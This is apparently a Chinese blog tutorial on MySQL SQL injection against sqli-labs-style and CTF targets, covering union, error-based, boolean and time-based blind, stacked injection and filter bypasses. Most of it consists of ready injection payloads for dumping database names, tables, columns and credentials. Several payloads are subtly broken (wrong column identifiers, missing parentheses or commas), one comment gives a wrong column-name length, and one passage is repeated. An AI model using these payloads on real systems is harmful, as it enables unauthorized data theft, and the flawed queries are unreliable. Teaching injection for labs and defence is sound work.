SQL注入(重构版)
C3ngH Lv3

联合查询注入(回显正常)

找到注入点

通常是在应用程序的URL参数、表单字段、Cookie或HTTP标头中

测试注入点

  • 提前闭合语句:使用' " )等符号将语句闭合,如果出现报错,则证明语句被提前闭合,确认注入点

  • 构造简单语句:

  • 构造?id=-1 or 1=1使得条件恒为正确,结果显示正常,确认注入点

    image

注释符

  • 单行注释(–):

    • 单行注释使用--,后面的内容会被视为注释。

    • 示例:

      1
      SELECT * FROM users WHERE username = 'admin' -- AND password = '123';
  • *多行注释(/* /):

    • 多行注释使用/* */,注释部分可以跨越多行。

    • 示例:

      1
      SELECT * FROM users WHERE username = 'admin' /* AND password = '123' */;
  • MySQL特有的#号注释:

    • MySQL支持使用#号作为单行注释,#的URL编码是%23

    • 示例:

      1
      SELECT * FROM users WHERE username = 'admin' # AND password = '123';
  • +号在SQL中被编译为空格

确定字段

构造?id=-1 or 1=1 order by 4确定columns只有3列

image

如果order by 后的数字小于等于有效列则会正常显示,如果大于有效列则会报错

image

联合查询

使用?id=-1' union select 1,2,3--+确定回显位置,可见在2,3处回显

image

  • 查询当前数据库
1
2
select database();
#注意作为拼接语句时要去掉分号,作为完整语句时要加上分号

image

  • 查询所有的数据库
1
2
3
select group_concat(schema_name) from information_schema.schemata;

select schema_name from information_schema.schemata limit 0,1;

image

  • 查询security的所有表名
1
2
3
select table_name from information_schema.tables where table_schema = "security" limit 0,1;

select group_concat(table_name) from information_schema.tables where table_schema = "security";

image

  • 查询users的所有字段
1
2
3
select column_name from information_schema.COLUMNS where table_schema = "security" and table_name="users" limit 0,1;

select group_concat(column_name) from information_schema.COLUMNS where table_name="users";

给出一个完整URL实例:

1
http://127.0.0.1:23334/Less-2/?id=-1%20union select 1,(select group_concat(column_name) from information_schema.COLUMNS where table_name="users"),3

image

  • 查询security.user的所有数据
1
select group_concat(username,':',password,'</br>') from users

image

报错注入(只回显异常)

floor() 函数

floor() 函数通常用于取整,它在一些情况下会触发数据库的错误信息,从而泄露数据库的信息。

1
(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue() 函数

extractvalue() 是一个XML函数,它用于从XML数据中提取值。当提供的XPath表达式无效时,会触发错误。

1
SELECT extractvalue(1, CONCAT(0x7e, (SELECT version()), 0x7e));

updatexml() 函数

updatexml() 也是一个XML函数,用于更新XML数据中的值。当提供的XPath表达式无效时,同样会触发错误。

1
SELECT updatexml(null, CONCAT(0x7e, (SELECT user()), 0x7e), null);

布尔盲注(只返回查询是否成功)

常用函数

  • substr(str,from,length):返回从下标为from截取长度为length的str子串。其中,首字符下标为1
  • length(str):返回str串长度

盲注步骤

  • 爆破数据库名长度

    首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

1
2
3
4
5
6
7
?id=1 and length(database())=1
#query_error

?id=1 and length(database())=4
#query_success

#库名长度为4
  • 根据库名长度爆破库名

    获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and substr(database(),1,1)=‘a’
#query_error

?id=1 and substr(database(),1,1)=‘s’
#query_success
#库名第一个字符是s

?id=1 and substr(database(),4,1)=‘i’
#query_success
#库名第四个字符是i

#库名是sqli
  • 对当前库爆破表数量

    下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环

3、对当前库爆表数量
下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环

1
2
3
4
5
6
7
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1
#query_error

?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2
#query_success

#当前库sqli有2张表
  • 根据库名和表数量爆破表名长度

    得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度

4、根据库名和表数量爆表名长度
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
#query_error

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#query_success
#当前库sqli的第一张表表名长度为4

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
#query_success
#当前库sqli的第二张表表名长度为4

#当前库sqli有两张表’news’和’flag‘,表名长度均为4
  • 根据表名长度爆破表名

    再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’
#query_error

?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’
#query_success
#当前库sqli的第一张表表名第一个字符是n

?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’
#query_success
#当前库sqli的第二张表表名的第四个字符是g

#当前库sqli有两张表’news‘和‘flag’
  • 对表爆破字段数量

    操作同对当前库爆表数量的步骤,只是要查询的表不同

1
2
3
4
5
6
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=1
#query_error

?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2
#query_success
#当前库sqli表flag的列数为2
  • 根据表名和列数量爆列名长度

    操作同对当前库爆表名长度的步骤,i是列标-1

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1
#query_error

?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第一列列名长度为4

?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第二列列名长度为4

#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为24
  • 根据列名长度爆破列名

    操作同对当前库爆表名的步骤,i是列标-1,j是字符下标

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’
#query_error

?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
#query_success
#当前库sqli表flag的第一列列名第一个字符为i

?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success
#当前库sqli表flag的第二列列名第四个字符为g

#当前库sqli表flag有两个列‘id’和‘flag’
  • 根据列名爆破数据

    flag有固定的格式,以右大括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1 and substr((select flag from sqli.flag),11)=“a”
#query_error

?id=1 and substr((select flag from sqli.flag),11)=“c”
#query_success
#flag的第一个字符是c

?id=1 and substr((select flag from sqli.flag),i,1)=“}”
#query_success
#flag的最后一个字符是}
#这里的j是计数变量j从1自增1得到的值

#出循环即可得到flag

时间盲注

判断长度

利用MySQL的 if() 和 sleep() 判断查询结果的长度,从1开始判断,并依次递增。

?id=1' and if((length(查询语句) =1), sleep(5), 3)
如果页面响应时间超过5秒,说明长度判断正确,则sleep(5);
如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度。

image

枚举字符

利用MySQL的 if() 和 sleep() 判断字符的内容。
从查询结果中截取第一个字符,转换成ASCLL码,从32开始判断,递增至126。

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3)
如果页面响应时间超过5秒,说明字符内容判断正确;
如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。

第一个字符猜解成功后,依次猜解第二个、第三个……第n个(n表示返回结果的长度)。

堆叠注入

在SQL语句中,语句的结束都是以结尾,但是在后面再加上一条SQL语句,两条语句会一起执行,在select等关键词被过滤无法使用联合查询注入的时候可以使用堆叠注入。

  • 查询数据库名

    1
    ?id=1';show databases--+
  • 查询表名

1
?id=1';show tables--+
  • 查询字段名

    1
    ?id=1';show columns from `words`--+

    关于在这里使用 ` 而不是 ’ 的一些解释:

    两者在linux下和windows下不同,linux下不区分,windows下区分。单引号或双引号主要用于字符串的引用符号,反引号 ` 数据库、表、索引、列和别名用的是引用符是反引号,有MYSQL保留字作为字段的,必须加上反引号来区分,如果是数值,不要使用引号。

  • 查询记录

    此时需要使用select可以使用concat进行拼接,

    1
    2
    #payload:
    id=1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

    其中:

    set用于设置变量名和值

    prepare用于预备一个语句,并赋予名称,以后可以引用该语句

    execute执行语句

    deallocate prepare用来释放掉预处理的语句

绕过

  • 绕过空格

    使用SQL注释:/**/

  • 绕过关键字

    • 替换为空:双写绕过
    • 正则表达式:<>绕过(空字符),URL编码,大小写绕过,%00绕过
    • 使用动态查询:mysql:union select -> ‘uni’+‘on’ ‘sele’+‘ct’

给个现成链接:MySQL注入

 评论
评论插件加载失败
正在加载评论插件
总字数 77.8k 访客数 访问量